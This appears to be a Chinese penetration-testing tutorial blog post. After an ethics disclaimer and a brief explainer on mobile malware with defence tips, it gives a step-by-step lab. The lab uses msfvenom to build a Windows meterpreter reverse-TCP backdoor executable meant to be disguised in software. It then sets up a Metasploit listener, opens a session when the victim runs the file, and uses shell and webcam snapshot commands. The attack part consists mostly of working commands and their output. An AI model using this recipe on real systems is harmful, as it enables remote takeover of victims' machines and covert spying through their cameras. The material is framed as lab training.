★关于道德伦理的忠告★
关于一些网络安全实战内容，我还是不厌其烦的写上这些忠告，请见谅。
以下内容摘自《Metasploit渗透测试指南》
作为一名渗透测试者，我们可以击败安全防御机制，但这是仅仅是我们工作的一部分。当你进行渗透攻击时，请记住如下的忠告：
-
不要进行恶意的攻击；
-
不要做傻事；
-
在没有获得书面授权时，不要攻击任何目标；
-
考虑你的行为将会带来的后果；
-
如果你干了些非法的事情，天网恢恢疏而不漏，你总会被抓到牢里的。
1、手机恶意应用程序分析
1.1、手机恶意应用程序理解
手机恶意应用程序：一般是指在用户不完全知情和认可（它包括未经用户许可、强迫引导用户许可或隐瞒关键信息等）的情况下强行安装到用户手机中，或者一旦安装就无法正常卸载和删除，但又具备一定正常功能的软件程序。它是介于病毒和正常软件之间的软件，它与病毒的区别是：一般还具备一定的正常功能。
1.2、危害性
恶意程序中植入的木马程序 ，可在用户不知情的情况下 ，收集用户个人隐私信息、恶意扣费 。
1.3、如何实现？
很多APP由于存在大量安全漏洞和缺乏安全措施，被不法分子二次打包后，或被直接仿冒，或植入广告、恶意代码，甚至加入违法内容，重新投放应用市场，严重危害用户隐私与财产安全，网络“黑产”链条也开始滋生 。
1.4、“官方”八招对付
八招对付恶意软件【来源于人民日报】：
1、选择官方渠道下载
2、关注流量使用
3、谨慎ROOT
4、注意权限信息
5、安装防病毒软件
6、不要在未知安全性的WIFI网络中上网
7、及时止损
8、及时举报
2、MSF恶意程序利用
2.0、说明
因为手机恶意程序利用的实验，我自己没有验证过就暂不做分享，以win7实验做为示例。
2.1、制作window恶意获取shell
后门的生成是为了更好的理解渗透过程中的方法以及途径，进而达到更好的防护，而不是利用技巧去做攻击等不合理的行为 。
思路：利用社会工程学中人的心理，为某些软件利用msf生成一些后门程序，进而通过带有后门的软件实现渗透获取shell 。
2.1.1、简介
msfvenom是一个Metasploit独立的有效负载生成器，也是msfpayload和msfencode的替代品。是用来生成后门的软件。
实验内容：
制作Windows恶意软件获取shell，msfvenom的shell在windows中的使用 msfvenom生成shell.exe
2.1.2、实验步骤
2.1.2.1、实验环境
kali-linux系统，版本：Linux kali 5.10.0-kali9-amd64，IP：192.168.242.4
win7系统，IP：192.168.242.6
2.1.2.2、生成后门软件
在kali系统生成后门软件，然后先复制到外面(本机)，再复制到目标系统win7
msfvenom -p 添加载荷payload LHOST=监听的IP LPORT=监听的端口，只要不占用即可 -f 输出文件格式 > 目标文件的名称
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.4 LPORT=6060 -f exe > msftest.exe
注意：该步骤自己电脑的杀毒软件和防火墙需要暂时关闭，如果不想关闭的话，可以利用ms17-010漏洞上传文件到win7电脑，可以参考我前面写的《渗透测试实战-漏洞利用MS17-010》
2.1.2.3、启动侦听
在kali系统操作
# 启动metaspliot
msfconsole
# 启动成功结果--每次的图案不一样，主要关注下面的是否有msf6> 即表示成功
Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
msf6 >
# metasploit设置侦听 加载模块
msf6 > use exploit/multi/handler
# 引用成功结果 ，再在后面
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
# 设置payload
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
#设置kali的IP
msf6 exploit(multi/handler) > set lhost kali的ip
#设置kali的端口lport =6060，也就是生成后门的端口
msf6 exploit(multi/handler) > set lport 6060
#执行
msf6 exploit(multi/handler) > exploit 或者 run
# 结果
[*] Started reverse TCP handler on 192.168.242.4:6060
2.1.2.4、win7系统双击后门软件
win7系统双击后门软件，然后观察kali系统会看到有对应信息串联起来，效果如下
[*] Sending stage (175174 bytes) to 192.168.242.6
[*] Meterpreter session 1 opened (192.168.242.4:6060 -> 192.168.242.6:2327) at 2023-09-11 11:07:36 -0400
2.1.2.4、操作命令控制win7系统
# 输入命令行
meterpreter > shell
# 连接成功
Process 8856 created.
Channel 1 created.
# 退出当前操作
exit
# 可进行拍照，只要目标系统有拍照功能
# 查看摄像头
meterpreter > webcam_list
# 结果表示有
1: Integrated Camera
# 通过摄像头拍照
meterpreter > webcam_snap
3、资料获取
如果需要kali和win7系统虚拟机，进行实验的话(如果在渗透测试实战已有下载过，不需要再下载了)，请关注我的公众号：大象只为你，后台回复：虚拟机。文件有些大下载耗时会比较久。
